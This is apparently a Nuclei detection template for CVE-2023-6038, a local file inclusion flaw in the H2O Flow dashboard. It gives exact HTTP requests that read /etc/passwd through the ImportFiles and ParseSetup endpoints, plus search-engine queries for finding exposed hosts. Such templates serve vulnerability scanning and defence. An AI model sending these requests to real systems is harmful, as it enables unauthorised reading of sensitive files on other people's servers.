H2O ImportFiles - Local File Inclusion

id: CVE-2023-6038

info:
  name: H2O ImportFiles - Local File Inclusion
  author: danmcinerney,byt3bl33d3r
  severity: high
  description: |
    An attacker is able to read any file on the server hosting the H2O dashboard without any authentication.
  impact: |
    Unauthenticated attackers can read any file on the server via the ImportFiles endpoint, potentially exposing sensitive data including database contents and application code.
  remediation: |
    Update H2O to a version that implements proper authentication and authorization controls for the ImportFiles endpoint.
  reference:
    - https://huntr.com/bounties/380fce33-fec5-49d9-a101-12c972125d8c/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6038
    - https://github.com/h2o/h2o
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6038
    cwe-id: CWE-862
    epss-score: 0.0434
    epss-percentile: 0.8999
    cpe: cpe:2.3:a:h2o:h2o:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: h2o
    product: h2o
    shodan-query:
      - title:"H2O Flow"
      - http.title:"h2o flow"
    fofa-query: title="h2o flow"
    google-query: intitle:"h2o flow"
  tags: cve,cve2023,h2o-3,h2o,ml,vkev,vuln

http:
  - raw:
      - |
        GET /3/ImportFiles?path=%2Fetc%2Fpasswd HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /3/ParseSetup HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        source_frames=%5B%22nfs%3A%2F%2Fetc%2Fpasswd%22%5D

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(body_1, 'ImportFilesV3')"
          - "regex('root:.*:0:0:', body_2)"
          - "status_code_2 == 200"
        condition: and
# digest: 4a0a00473045022024b18f745717d8fe447c23d2ebab0d31165fbec285d16be4583a28ee07390a08022100984e6ab13ed31a36f9f627c592895fc83319c8eab02bc84b98a3d3aa410ad7e8:922c64590222798bb761d5b6d8e72950